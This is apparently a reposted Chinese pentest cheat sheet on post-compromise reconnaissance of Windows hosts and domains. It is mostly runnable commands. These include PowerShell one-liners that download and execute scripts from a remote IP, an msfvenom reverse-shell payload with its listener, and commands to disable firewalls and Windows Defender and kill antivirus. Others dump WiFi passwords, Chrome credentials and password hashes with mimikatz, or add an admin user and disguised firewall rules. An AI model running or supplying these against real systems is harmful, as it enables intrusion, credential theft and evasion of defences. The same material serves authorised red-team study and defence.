Windows主机信息收集总结笔记,知识备忘录~ 转自:Windows主机信息收集

0x01 内网环境分析


1.1 内网基础环境判断

IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么。

1.2 分析机器所处位置区域

DMZ区、办公区、生产区、核心DB等等

1.3 分析机器的角色

普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等等

1.4 分析进出口流量是否能连通

协议的判断:常见的TCP、DNS、HTTP、ICMP等协议
端口判断:外网vps做监听,内网机器测试常见端口,常见的端口有80,8080,443,53,110,123等。

  1. vpsnc -lvvp 8888
  2. targetnc vps-ip 8888
  1. vpsnc -lvvp 80
  2. targetcurl vps-ip 80
  1. vpstcpdump icmp
  2. targetping vps-ip
  1. vpsnc -u -lvp 53
  2. target
  3. nslookup www.baidu.com vps-ip
  4. dig @vsp-ip www.baidu.com

0x02 工作组信息收集


2.1 内网渗透简介

在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各种信息,获取内部网络有价值的人员、资产信息。
内网渗透的第一步,内网信息收集。

2.2 工作组简介

工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。

  1. 默认情况下所有计算机都处在名为WORKGROUP的工作组中
    Windows主机信息收集 - 图1
  2. 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
  3. 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
  4. 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。
    Windows主机信息收集 - 图2
  5. 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
  6. 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。

    2.3 内网网段信息收集

    只有找到不同网段才能进行纵向渗透,否则只能横向渗透

  7. 内网网段扫描

  8. 文件共享
  9. FTP连接记录
  10. 浏览器访问记录
  11. mstsc连接记录

    2.4 用户信息

    | #查看本机用户列表
    net user

获取本地管理员信息
net localgroup administrators

查看当前在线用户
quser
query user
query user || qwinsta

查当前用户在目标系统中的具体权限
whoami /all

查看当前权限
whoami && whoami /priv

查当前机器中所有的组名,了解不同组的职能,如,IT,HR,ADMIN,FILE
net localgroup |

| —- |

2.5 系统信息

| #查询网络配置信息。进行IP地址段信息收集
ipconfig /all

查询操作系统及软件信息
systeminfo /fo list
systeminfo | findstr “主机名”
systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
systeminfo | findstr /B /C:”OS 名称” /C:”OS 版本”

查看当前系统版本
ver
wmic os list brief
wmic os get Caption,CSDVersion,OSArchitecture,Version

查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%

查询本机服务信息
wmic service list brief

查看安装的软件的版本、路径等
wmic product get name, version
powershell “Get-WmiObject -class Win32_Product |Select-Object -Property name, version”

查询进程信息
tasklist
wmic process list brief

查看启动程序信息
wmic startup get command,caption

#查看计划任务
at(win10之前)
schtasks /query /fo LIST /v(win10)

PS:如果遇到资源无法加载问题,则是由于当前活动页码所致:更改活动页码为437:chcp 437

查看主机开机时间
net statistics workstation

#列出或断开本地计算机与所连接的客户端的对话
net session

查看本地可用凭据
cmdkey /l

查看补丁列表
wmic qfe get hotfixid
systeminfo | findstr “KB”

查看补丁的名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn

查看本地密码策略
net accounts

查看hosts文件
Windows:type c:\Windows\system32\drivers\etc\hosts

查看dns缓存
ipconfig /displaydns |

| —- |

2.6 网络信息

| #查看本机所有的tcp,udp端口连接及其对应的pid
netstat -ano

查看本机所有的tcp,udp端口连接,pid及其对应的发起程序
netstat -anob #管理员权限

查看路由表和arp缓存
route print
arp -a

查看本机共享列表和可访问的域共享列表 (445端口)
net share
wmic share get name,path,status

磁盘映射
net use k: \\192.168.1.10\c$ |

| —- |

2.7 防火墙信息

| #查看防火墙配置(netsh命令也可以用作端口转发)
netsh firewall show config

关闭防火墙(Windows Server 2003 以前的版本)
netsh firewall set opmode disable

firewall命令已弃用,建议使用advfirewall命令
#查看配置规则
netsh advfirewall firewall show rule name=all

关闭防火墙\开启防火墙(Windows Server 2003 以后的版本)
netsh advfirewall set allprofiles state off\on

导出\导入配置文件
netsh advfirewall export\import xx.pol

新建规则阻止TCP协议139端口
netsh advfirewall firewall add rule name=”deny tcp 139” dir=in protocol=tcp localport=139 action=block

新建规则允许3389通过防火墙
netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow

删除名为Remote Desktop的规则
netsh advfirewall firewall delete rule name=Remote Desktop |

| —- |

2.8 RDP远程桌面

开启

wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1


#关闭

wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 0


#查询并开启RDP服务的端口,返回一个十六进制的端口

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /V PortNumber

2.9 获取杀软信息

  • 获取杀软名 | WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | | —- |

  • 获取杀软名和安装路径 | WMIC /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,productState,pathToSignedProductExe | | —- |

  • 常见的杀毒软件进程 | tasklist /v
    wmic process list brief | | —- |

软件名称 进程
360杀毒 360SD.exe
360实时保护 360TRAY.exe
火绒 HipsMain.exe
360s主动防御 ZHUDONGFANGYU.exe
金山卫士 KSAFETRAY.exe
服务器安全狗 SAFEDOGUPDATECENTER.exe
MCAFEE MCAFEE MCSHIELD.exe
NoD32 EGULEXE
卡巴斯基 AVP.exe
小红伞 AVGUARD.exe
BITDEFENDER BDAGENT.exe
QQ电脑管家 QQPCRTP.exe
主机防护类产品 hids
护卫神 hws*
云锁 yunsuo*
D盾 D_Safe*

2.10 代理信息

| REG QUERY “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyServer

通过pac文件自动代理情况
REG QUERY “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v AutoConfigURL |

| —- |

Windows主机信息收集 - 图3
Windows主机信息收集 - 图4

2.11 Wifi密码

netsh wlan show profile

Windows主机信息收集 - 图5

netsh wlan show profile name=”HUAWEI-MINGY” key=clear

Windows主机信息收集 - 图6
一条命令获取连接过的wifi密码,企业认证的获取不到

for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

2.12 回收站信息

| FOR /f “skip=1 tokens=1,2 delims= “ %c in (‘wmic useraccount get name^,sid’) do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt

目录路径在 C:\$Recycle.Bin | | —- |

Windows主机信息收集 - 图7

$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容

Windows主机信息收集 - 图8

2.13 Chorme浏览器信息

获取Chorme浏览器历史记录和Cookie

| %localappdata%\google\chrome\USERDA~1\default\LOGIND~1
%localappdata%\google\chrome\USERDA~1\default\cookies

chrome的用户信息,保存在本地文件为sqlite 数据库格式

mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1” exit

mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect” exit | | —- |

2.14 WMIC收集信息

| for /f “delims=” %%A in (‘dir /s /b %WINDIR%\system32\*htable.xsl’) do set “var=%%A”

:: 进程
wmic process get CSName,Description,ExecutablePath,ProcessId /format:”%var%” >> out.html
:: 服务
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:”%var%” >> out.html
:: 用户帐号
wmic USERACCOUNT list full /format:”%var%” >> out.html
:: 用户组
wmic group list full /format:”%var%” >> out.html
:: 网络接口
wmic nicconfig where IPEnabled=’true’ get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:”%var%” >> out.html
:: 硬盘信息
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:”%var%” >> out.html
:: 网络共享信息
wmic netuse list full /format:”%var%” >> out.html
:: 安装的Windows补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:”%var%” >> out.html
:: 启动运行程序
wmic startup get Caption,Command,Location,User /format:”%var%” >> out.html
:: 安装的软件列表
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:”%var%” >> out.html
:: 操作系统
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:”%var%” >> out.html
:: 时区信息
wmic Timezone get DaylightName,Description,StandardName /format:”%var%” >> out.html | | —- |

2.15 Powershell收集信息

| FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录

powershell iex(new-object net.webclient).downloadstring(‘http://47.104.255.11:8000/Get-Information.ps1');Get-Information | | —- |

2.16 内网信息收集脚本

https://raw.githubusercontent.com/braeden/Batch-Infogather/master/Infogather.bat

0x03 Metasploit内网信息收集


3.1 反弹shell

  • 生成payload | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.24 lport=5555 -f exe -o xx.exe -e x86/shikata_ga_nai -i 8 | | —- |

将生成的payload发送给目标机器并让其执行

  • 配置反弹会话处理程序 | Use exploit/multi/handler
    Set payload windows/meterpreter/reverse_tcp
    Set LHOST 192.168.1.227
    Set LPOST 5555
    Exploit
    返回shell | | —- |

3.2 关闭防火墙

| shell(execute -f cmd -i -H)
netsh advfirewall set allprofiles state off
netsh advfirewall show allprofiles
- 通过策略添加防火墙规则隐蔽行为
netsh advfirewall set add rule name=”VMWARE” protocol=TCP dir=in localport=5555 action=allow
netsh firewall add portopening TCP 5555 “VMWARE” ENABLE ALL
- 重启生效
shutdown -r -f -t 0 | | —- |

3.3 关闭杀毒软件

| 关闭windefend:
net stop windefend

关闭杀毒软件:
run killav
run post/windows/manage/killav | | —- |

3.4 打开并连接3389

| #开启3389远程桌面
run post/windows/manage/enable_rdp
run getgui –e

在目标机器上添加用户
run getgui –u admin –p admin
net localgroup administrators admin /add

远程连接桌面
rdesktop –u username –p password ip

查看远程桌面
screenshot
use espia
screengrab
screenshare

删除指定账号
run post/windows/manage/delete_user USERNAME=admin |

| —- |

3.5 数据包抓取

| #抓包
Load sniffer
Sniffer_interfaces
sniffer_start 2
Sniffer_dump 2 1.cap

解码
Use auxiliary/sniffer/psnuffle
Set PCAPFILE 1.cap
exploit |

| —- |

3.6 口令破解

| use post/windows/gather/hashdump//system权限的meterpreter
set session 1
exploit//结果保存在tmp目录下

use post/windows/gather/smart_hashdump
set session 1
exploit

格式
用户名称 : RID : LM-HASH 值 : NT-HASH 值 |

| —- |

rid 是 windows 系统账户对应固定的值,类似于 linux 的 uid,gid 号,500 为 administrator,501 为 guest 等。而 lm-hash 和 nt-hash,他们都是对用户密码进行的加密,只不过加密方式不一样。

| #Hashdump使用的是mimikatz的部分功能

Load mimikatz
wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp
mimikatz_command -h
mimikatz_command -f a:: //查询有哪些模块
mimikatz_command -f samdump::hashes
mimikatz_command -f samdump::bootkey | | —- |

3.7 Other

| #确定目标主机是否是虚拟机:
run checkvm

获取目标主机上的软件安装信息:
run post/windows/gather/enum_applications

获取目标主机上最近访问过的文档、链接信息:
run post/windows/gather/dumplinks

查看目标环境信息:
run post/multi/gather/env

查看firefox中存储的账号密码:
run post/multi/gather/firefox_creds

查看ssh账号密码的密文信息,证书信息:
run post/multi/gather/ssh_creds

查看目标系统所有网络流量并且进行数据包记录:
run packetrecorder -i 0//-i 1指定记录数据包的网卡

读取目标主机IE浏览器cookies等缓存信息,嗅探目标主机登录过的各类账号密码:
run post/windows/gather/enum_ie
//获取到的目标主机上的ie浏览器缓存历史记录和cookies信息等都保存到了攻击主机本地的/root/.msf4/loot/目录下 |

| —- |

3.8 Scraper

run scraper
/root/.msf4/logs/scripts/scraper

3.9 Winenum

run winenum
/root/.msf4/logs/scripts/winenum

Windows主机信息收集 - 图9

3.10 主机发现

| #模块位于源码路径的 modules/auxiliary/scanner/discovery/
#主要有
arp_sweep
ipv6_mulitcast_ping
ipv6_neighbor
ipv6_neighbor_router_advertisement
udp_probe
udp_sweep
arp_sweep 使用arp请求枚举本地局域网中的所有活跃主机
udp_sweep 通过发送UDP数据包探查指定主机是否活跃,并发现主机上的udp服务。

use auxiliary/scanner/discovery/arp_sweep
> set RHOSTS 10.10.10.0/24
> set THREADS 50
> run

设置好参数后输入run启动扫描器 | | —- |

3.11 端口扫描

| msf> search portscan

auxiliary/scanner/protscan/ack //通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
auxiliary/scanner/protscan/ftpbounce //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好的防范此攻击,但在旧的系统上仍可以被利用
auxiliary/scanner/portscan/syn //使用发送TCP SYN标志的方式探测开放端口
auxiliary/scanner/protscan/tcp //通过一次完整的TCP连接来判断端口是否开放 最准确但是最慢
auxiliary/scanner/protscan/xmas //一种更为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级的TCP标记检测器的过滤
一般情况下推荐使用syn端口扫描器,速度较快,结果准确,不易被对方察觉

syn扫描器的使用
> use auxiliary/scanner/protscan/syn
> set RHOSTS 10.10.10.10/254
> set THREADS 20
> run | | —- |

3.12 服务扫描

| #确定开放端口后,对端口上所运行的服务信息进行探测

在Metasploit的Scanner辅助模块中,用于服务扫描和查点的工具常以[service_name]_version和[service_name]_login命名
[service_name]_version 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本。
[service_name]_login 可对某种服务进行口令探测攻击

在msf终端中可以输入:
search name:_version

查看所有可用的服务查点模块 | | —- |

0x04 域信息收集


4.1 域简介

将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元
域(domain):域是一个有安全边界的计算机集合;安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源
域的特点:

  1. 域成员计算机在登录的时候可以选择登录到域中或此计算机
  2. 登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的
  3. 登陆到此计算机时,是通过SAM来进行NTLM验证的
  4. 默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器
  5. 在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库
  • 域控:DC(Domain Control)

在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都得经过它的审核。
域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两个域控。一个作为DC,一个是备份DC。

  • 活动目录:AD(Active Directory)
  1. 域环境中提供目录服务的组件;
  2. 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;
  3. 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等;
  4. 安装有AD活动目录的服务器就是域控DC。

用户可以通过AD活动目录定位到内网中的资源位置。

  • 活动目录主要功能
  1. 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
  2. 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
  3. 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
  4. 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。
  5. 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。

活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

| #Builtin容器
Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。

Computers容器
Computers容器是Active Driectory默认创建的第二个容器,用于存放windows server域内所有成员计算机的计算机账号。

Domain Controllers容器
Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。

Users容器
Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。 |

| —- |

Windows主机信息收集 - 图10

  • DNS域名服务器
  1. 域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。
  2. 域名解析:DNS服务器通过其A记录将域名解析成IP地址
  3. 定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机

    4.2 Net组件

    | #查询域内的所有计算机
    net view /domain:mingy

查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain

查看域管理员的用户组
net group “domain admins” /domain

查询所有域成员计算机列表
net group “domain computers” /domain

查询域系统管理员用户组
net group “Enterprise admins” /domain

查看域控制器
net group “domain controllers” /domain

对比查看”工作站域DNS名称(域名)”和”登录域(域控制器)”的信息是否相匹配
net config workstation

查看域内所有账号
net user /domain

查询指定用户的详情信息
net user xxx /domain

查看时间可以找到域控
net time /domain

查看域密码策略
net accounts /domain

查看当前登录域
net config workstation

登录本机的域管理员
net localgroup administrators /domain |

| —- |

4.3 Dsquery

| #查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery
dsquery computer

查看当前域中的所有账户名
dsquery user

查看当前域内的所有组名
dsquery group

查看到当前域所在的网段,结合nbtscan使用
dsquery subnet

查看域内所有的web站点
dsquery site

查看当前域中的服务器(一般结果只有域控的主机名)
dsquery server

查询前240个以admin开头的用户名
dsquery user domainroot -name admin* -limit 240 |

| —- |

4.4 SPN扫描

参考:https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md

  • SPN 简介

服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册 SPN。
如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

  • SPN 格式与配置

在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中为必须元素:

/:/
:标识服务类的字符串
:服务所在主机名称
:服务端口
:服务名称

可以通过下面两个命令来查看已经注册的 SPN:

| setspn -q /
setspn -T mingy.com -q /

C:\Users\WIN7-1>setspn -T mingy.com -q /
正在检查域 DC=mingy,DC=com
CN=WIN2012,OU=Domain Controllers,DC=mingy,DC=com
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win2012.mingy.com
ldap/win2012.mingy.com/ForestDnsZones.mingy.com
ldap/win2012.mingy.com/DomainDnsZones.mingy.com
TERMSRV/WIN2012
TERMSRV/win2012.mingy.com
DNS/win2012.mingy.com
GC/win2012.mingy.com/mingy.com
RestrictedKrbHost/win2012.mingy.com
RestrictedKrbHost/WIN2012
RPC/c1ec06f4-2a24-4f03-942f-b9dc87aea6d5._msdcs.mingy.com
HOST/WIN2012/MINGY
HOST/win2012.mingy.com/MINGY
HOST/WIN2012
HOST/win2012.mingy.com
HOST/win2012.mingy.com/mingy.com
E3514235-4B06-11D1-AB04-00C04FC2DCD2/c1ec06f4-2a24-4f03-942f-b9dc87aea6d5/mingy.com
ldap/WIN2012/MINGY
ldap/c1ec06f4-2a24-4f03-942f-b9dc87aea6d5._msdcs.mingy.com
ldap/win2012.mingy.com/MINGY
ldap/WIN2012
ldap/win2012.mingy.com
ldap/win2012.mingy.com/mingy.com
CN=krbtgt,CN=Users,DC=mingy,DC=com
kadmin/changepw
CN=WIN7-1,CN=Computers,DC=mingy,DC=com
TERMSRV/WIN7-1
TERMSRV/win7-1.mingy.com
RestrictedKrbHost/WIN7-1
HOST/WIN7-1
RestrictedKrbHost/WIN7-1.mingy.com
HOST/WIN7-1.mingy.com

发现存在 SPN! | | —- |

  • SPN扫描

在了解了SPN 之后,可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册 SPN,所以可以通过「SPN 扫描」的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。
spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory 环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN类型的服务主体名称来查找服务,SPN扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。

  • LDAP协议简介

LDAP 协议全称是 LightweightDirectory Access Protocol,一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。
LDAP 数据的组织方式:
Windows主机信息收集 - 图11
可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。

  • 扫描工具
  1. GetUserSPNs.ps1

    https://raw.githubusercontent.com/nidem/kerberoast/master/GetUserSPNs.ps1

GetUserSPNs.ps1 是 kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。

Import-module .\GetUserSPNs.ps1
  1. PowerView.ps1

    https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Import-module .\powerview.ps1
Get-NetUser -SPN
  1. GetUserSPNs.py

    https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

python GetUserSPNs.py -dc-ip 10.10.10.10 mingy.com/testuser

知道域控机器的IP以及某域内用户的账号和密码即可

4.5 AdFind

| 用于查询域内信息
http://www.joeware.net/freetools/tools/adfind/
#列出域控制器名称
AdFind -sc dclist

查询当前域中在线的计算机
AdFind -sc computers_active

查询当前域中在线的计算机(只显示名称和操作系统)
AdFind -sc computers_active name operatingSystem

查询当前域中所有计算机
AdFind -f “objectcategory=computer”

查询当前域中所有计算机(只显示名称和操作系统)
AdFind -f “objectcategory=computer” name operatingSystem

查询域内所有用户
AdFind -users name

查询所有GPO
AdFind -sc gpodmp |

| —- |

4.6 Other

| #查看域内信任关系
nltest /domain_trusts

查看域控制器的机器名
nltest /DCLIST:MINGY

查看域内邮件服务器
nslookup -q=mx mingy.com

查看域内DNS服务器
nslookup -q=ns mingy.com

查看域内的主域控,仅限win2008及之后的系统
netdom query pdc |

| —- |

4.7 定位域控

| #ipconfig
ipconfig /all

查询dns解析记录
nslookup -type=all _ldap._tcp.dc._msdcs.mingy.com

spn扫描
在SPN扫描结果中可以通过如下内容,来进行域控的定位。
setspn -q /
setspn -T mingy.com -q /

CN=WIN2012,OU=Domain Controllers,DC=mingy,DC=com

net group
net group “domain controllers” /domain

端口识别
端口:389
服务:LDAP、ILS
说明:LDAP轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server)域名服务器所开放,主要用于域名解析,用于域名与IP地址之间的转换 | | —- |

0x05 内网存活探测


参考:https://www.cnblogs.com/-mo-/p/11908260.html

5.1 Netbios协议探测

  • Netbios简介

NetBIOS 定义了一种软件接口以及在应用程序和连接介质之间提供通信接口的标准方法。NetBIOS 是一种会话层协议,应用于各种 LAN (Ethernet、Token Ring 等)和 WAN 环境。NetBIOS提供了三种软件服务:名称服务,包括名称登录与名称解析、数据报文服务、会话服务。— 百度百科
在局域网内,常常利用NetBios名解析为对应IP地址,来方便的实现信息通讯和资源共享。

  • nmap扫描 | nmap -sU -T4 —script nbstat.nse -p137 10.10.10.0/24 | | —- |

  • MSF扫描 | msf > use auxiliary/scanner/netbios/nbname | | —- |

Windows主机信息收集 - 图12

  • Nbtscan

项目地址:http://www.unixwiz.net/tools/nbtscan.html
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。

#Windows
nbtscan.exe –m 10.10.10.0/24
nbtstat –n

Windows主机信息收集 - 图13

#Linux
nbtscan -r 10.10.10.0/24

Windows主机信息收集 - 图14

5.2 ICMP协议探测

  • ICMP协议简介

ICMP协议是一种面向无连接的协议,用于传输出错报告控制信息。它属于网络层协议,主要用于在主机与路由器之间传递控制信息,包括报告错误、交换受限控制和状态信息等。 — 百度百科

  • 内网C段存活主机探测

命令行:

for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i “ttl=”

Windows主机信息收集 - 图15
输出内容:

@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
  • NMAP扫描 | nmap -sn -PE -T4 192.168.0.0/24 | | —- |

Windows主机信息收集 - 图16

  • Powershell扫描 | powershell.exe ‐exec bypass ‐Command “Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135”

powershell iex(new-object net.webclient).downloadstring(‘http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135 | | —- |

Windows主机信息收集 - 图17

5.3 UDP协议探测

  • UDP简介

UDP (User Datagram Protocol), 中文名是用户数据报协议,是OSI参考模型中一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。 — 百度百科

  • NMAP扫描 | nmap -sU –T4 -sV —max-retries 1 192.168.1.100 -p 500 | | —- |

Windows主机信息收集 - 图18

  • MSF扫描 | msf > use auxiliary/scanner/discovery/udp_probe
    msf > use auxiliary/scanner/discovery/udp_sweep | | —- |

Windows主机信息收集 - 图19
Windows主机信息收集 - 图20

  • Unicornscan扫描 | #linux
    unicornscan -mU 192.168.1.100 | | —- |

5.4 ARP协议探测

  • ARP简介

ARP(Address Resolution Protocol),即地址解析协议,是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。 — 百度百科

  • NMAP扫描 | nmap -sn -PR 192.168.1.1/24 | | —- |

  • MSF扫描 | msf > use auxiliary/scanner/discovery/arp_sweep | | —- |

Windows主机信息收集 - 图21

powershell.exe -exec bypass -Command “Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24”

Windows主机信息收集 - 图22

#linux
arp-scan -interface=eth1 —localnet

Windows主机信息收集 - 图23

https://github.com/QbsuranAlang/arp-scan-windows-/tree/master/arp-scan

#windows
arp-scan.exe –t 10.10.10.0/24

Windows主机信息收集 - 图24

5.5 SMB协议探测

  • NMAP | nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.1.119 | | —- |

Windows主机信息收集 - 图25

  • Crackmapexec | 默认为100线程:
    crackmapexec smb 10.10.10.0/24 | | —- |

Windows主机信息收集 - 图26

  • MSF | msf5 > use auxiliary/scanner/smb/smb_version | | —- |

Windows主机信息收集 - 图27

5.6 域内端口探测

  • MSF中的portscan模块

Windows主机信息收集 - 图28

端口扫描,默认扫描常见端口,也可以用 -Port指定端口:

powershell iex(new-object net.webclient).downloadstring(‘http://47.104.255.11:8000/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

Windows主机信息收集 - 图29

-h 必要参数,支持IP、IP段、IP范围指定、IP列表文件。
-p 指定要扫描端口列表,多个端口使用,隔开例如:22,23,80,3306。
-m 指定线程数,默认100线程
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。
-n 不进行存活探测(ICMP)直接进行扫描。

Windows主机信息收集 - 图30

未指定即使用内置默认端口(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1723,1433,1521,3306,3389,3690,5432,5800,5900,6379,7001,8000,8001,8080,8081,8888,9200,9300,9080,9999,11211,27017)进行扫描。